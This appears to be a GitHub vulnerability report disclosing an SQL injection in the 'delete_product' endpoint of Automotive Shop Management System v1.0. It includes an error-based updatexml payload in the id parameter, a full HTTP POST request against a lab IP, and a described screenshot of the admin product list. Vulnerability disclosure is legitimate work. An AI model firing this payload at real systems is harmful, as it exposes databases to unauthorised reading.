

🔑 main ▾

...

automotive / automotive-shop-management-system / sql.md



mikeccltt Update sql.md

🕒 History

👤 1 contributor

34 lines (24 sloc) | 1.2 KB

...

Automotive Shop Management System v1.0 has SQL injection

vendors: <https://www.sourcecodester.com/php/15312/automotive-shop-management-system-phpoop-free-source-code.html>

Date: 2022-05-07

Vulnerability File: /asms/classes/Master.php?f=delete_product

Vulnerability location: /asms/classes/Master.php?f=delete_product, id

[+] Payload: id=5' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

Tested on Windows 10, XAMPP

```
POST /asms/classes/Master.php?f=delete_product HTTP/1.1
Host: 192.168.2.106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
```

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 65

Origin: http://192.168.2.106

Connection: keep-alive

Referer: http://192.168.2.106/asms/admin/?page=products

Cookie: PHPSESSID=0389fublnj7ggho8q04fuvfage

id=5' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

The screenshot displays the ASMS - PHP Admin interface. The left sidebar contains navigation links: Dashboard, Product List (active), Inventory, Transactions, Maintenance (with sub-links for Daily Sales Report and Daily Service Report), Service List, Mechanic List, User List, and Settings. The main content area is titled 'List of Products' and features a '+ create New' button. Below this is a table with 5 entries, each showing a product's details and an 'Action' dropdown menu. The table columns are: #, Date Created, Image, Name, Price, Status, and Action. The products listed are: 1. Engine Oil 4L (Price: 1100.00), 2. Fox Suspension (Price: 7800.00), 3. Mags (Price: 6500.00), 4. Side Mirrors (Price: 1300.00), and 5. Spark Plug (Price: 650.00). All products are marked as 'Active'. The footer of the page includes the copyright notice 'Copyright © 2022. All rights reserved.' and the version information 'ASMS - PHP (by: oretnom23) v1.0'.

#	Date Created	Image	Name	Price	Status	Action
1	2022-05-04 10:30		Engine Oil 4L	1100.00	Active	Action
2	2022-05-04 10:30		Fox Suspension	7800.00	Active	Action
3	2022-05-04 10:28		Mags	6500.00	Active	Action
4	2022-05-04 10:29		Side Mirrors	1300.00	Active	Action
5	2022-05-04 10:29		Spark Plug	650.00	Active	Action